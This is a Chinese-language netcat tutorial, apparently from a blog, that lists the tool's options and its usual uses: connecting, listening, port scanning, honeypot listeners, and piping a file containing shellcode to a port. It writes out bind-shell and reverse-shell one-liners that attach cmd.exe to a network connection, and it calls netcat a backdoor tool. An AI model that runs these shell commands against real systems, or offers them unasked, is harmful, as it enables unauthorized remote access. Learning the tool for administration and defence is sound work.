Netcat使用方法

netcat被誉为网络安全界的‘瑞士军刀‘,相信没有什么人不认识它吧...... 
  一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,
能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几 
乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。 
  在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑‘编译 
后的新‘浓缩‘版。‘浓缩‘版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,
有此功能的原版NC好象要60KB:P),虽然"体积"小,但很完成很多工作。 
===================================================================================================== 
软件介绍:

工具名:Netcat 
作者:Hobbit && Chris Wysopal 
网址:http://www.atstake.com/research/tools/network_utilities/ 
类别:开放源码 
平台:Linux/BSD/Unix/Windows  
WINDOWS下版本号:[v1.10 NT]

===================================================================================================== 
参数介绍:

‘nc.exe -h‘即可看到各参数的使用方法。 
基本格式:nc [-options] hostname port[s] [ports] ... 
    nc -l -p port [options] [hostname] [port]

-d 后台模式 
-e prog 程序重定向,一旦连接,就执行 [危险!!] 
-g gateway source-routing hop point[s], up to 8 
-G num source-routing pointer: 4, 8, 12, ... 
-h 帮助信息 
-i secs 延时的间隔 
-l 监听模式,用于入站连接 
-L 连接关闭后,仍然继续监听 
-n 指定数字的IP地址,不能用hostname 
-o file 记录16进制的传输 
-p port 本地端口号 
-r 随机本地及远程端口 
-s addr 本地源地址 
-t 使用TELNET交互方式 
-u UDP模式 
-v 详细输出--用两个-v可得到更详细的内容 
-w secs timeout的时间 
-z 将输入输出关掉--用于扫描时

端口的表示方法可写为M-N的范围格式。

===================================================================================================== 
基本用法:

大概有以下几种用法:

1)连接到REMOTE主机,例子: 
格式:nc -nvv 192.168.x.x 80 
讲解:连到192.168.x.x的TCP80端口

2)监听LOCAL主机,例子: 
格式:nc -l -p 80 
讲解:监听本机的TCP80端口

3)扫描远程主机,例子: 
格式:nc -nvv -w2 -z 192.168.x.x 80-445 
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL,例子: 
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe 
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接,例子: 
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354 
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多, 
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。

===================================================================================================== 
高级用法:

6)作攻击程序用,例子: 
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80 
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt 
讲解:连接到192.168.x.x的80端口,并在其管道中发送‘c:\exploit.txt‘的内容(两种格式确有相同的效果,
   真是有异曲同工之妙:P)

附:‘c:\exploit.txt‘为shellcode等

7)作蜜罐用[1],例子: 
格式:nc -L -p 80 
讲解:使用‘-L‘(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

8)作蜜罐用[2],例子: 
格式:nc -L -p 80 > c:\log.txt 
讲解:使用‘-L‘可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到‘c:\log.txt‘中,如果把‘>‘ 
   改为‘>>‘即可以追加日志

附:‘c:\log.txt‘为日志等

9)作蜜罐用[3],例子: 
格式1:nc -L -p 80 < c:\honeypot.txt 
格式2:type.exe c:\honeypot.txt|nc -L -p 80 
讲解:使用‘-L‘可以不停地监听某一个端口,直到ctrl+c为止,并把‘c:\honeypot.txt‘的内容‘送‘入其管道中!

时间: 2024-08-02 06:10:41

Netcat使用方法的相关文章

NetCat简介与使用方法

精品学习网考试频道小编应广大考生的需要,特为参加考试的考生策划了“NetCat简介与使用方法”专题等有关资料,供考生参考! 在入侵中它是最经典的工具之一 ,NetCat被所有的网络安全爱好者和研究者称之为瑞士军刀,通过名字大家就能知道他的功能足够丰富. nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止.它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互.从技术上来讲,NetCat并不能产

NetCat教程

NetCat by Jian Lee 简介 使用 隐藏命令行参数 正/反向域名解析 参数详解 案例 监听端口(制作蜜罐) 端口扫描 ftp 服务器 两台服务器文件校验 使用注意 简介 使用 最简单的使用: ”nc 主机名/IP 端口号/服务名",只要甲主机打开了端口(任何对外服务的端口),乙主机就可以使用nc命令连接这个端口.比如nmap查看到172.16.70.140开了22端口,通常这是sshd的服务端口,我们nc上去看看: # nc 172.16.70.140 22 SSH-2.0-Ope

netcat/nc

netcat或者是nc工具被称为网络上的瑞士军刀,因此netcat也有各个版本出现在各个系统中,而在Centos 7 开始netcat也被整合到namp项目中.当然如果是开源系统中,如Ubuntu或Linux系统中则可以通过apt或yum来进行安装,在DOS系统下可以通过下载nc for windows获取到二进制版的netcat.因为netcat工具实际上可以通过tcp.udp或者是socket等等的方式在两台主机之间建立链接,然后通过链接读取数据流,而在接收传输数据流的过程中可以任意发挥你的

用Netcat,SSH构建的IP层加密隧道搭建VPN

[关于题外话在最后] 写作本文主要基于两点,首先是因为我前段时间写了几篇关于VPN的新解,收到了很多的邮件反馈,我也思考了很多,另一个方面是因为很多人问我怎么用QQ,P2P搭建一个IP层的VPN,我的回答是"我也不知道".我确实不知道,根本就没有试过,只是有个这样那样的想法...我主要是没有能力去Hack这些非Linux上的东西...所以说,我写这篇文章,用UNIX的方法"将多个小工具结合起来"实现我的那些没有实现的想法,抛砖引玉一下. 声明: 本文没有技术含量,甚

利用netcat进行网络吞吐量测试

最近工作过程中遇到一个问题:在linux现有命令的基础上(封闭只读系统),如何需要对产品的wifi模块进行吞吐量测试? 在进行测试前,我首先看了一下当前系统拥有的命令以及搜索相关资料, 发现使用nc这个命令,配合dd的时候能够进行吞吐量测试(局域网). 使用这种方法测试的优点:免去嵌入新的软件.缺点:只能粗略测出上下行带宽(吞吐量) 工具准备 1.dd for windows 2.netcat (windows版) 测试设备上传速度 PC端: nc -lvvp [port] | dd of=NU

netcat命令的使用

Linux netcat 命令实例: 1,端口扫描 端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞. $nc -z -v -n 172.31.100.7 21-25 可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp. z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换(谢谢@jxing 指点) v 参数指使用冗余选项(译者注:即详细输出) n 参数告诉netcat 不要使用DNS反向查询IP地址的域名 这个命令

Linux Netcat 命令——网络工具中的瑞士军刀

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了.你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端. 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)] Linux netcat

使用netcat进行反弹链接的shellcode

from:http://morgawr.github.io/hacking/2014/03/29/shellcode-to-reverse-bind-with-netcat/ 这篇文章主要是谈,在远程溢出时怎样构造shellcode,才能形成一个有效的反弹链接. 0x00 反向绑定远程shell 让本地主机和远程shell建立起连接的方法有很多种,其中最常见的是在远程主机上开放一个端口,然后把它的 stdout/stderr/stdin 重定向到一个shell上. 这样我们就可以在自己的主机上通

linux netcat命令使用技巧

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了.你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端. 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)] Linux netcat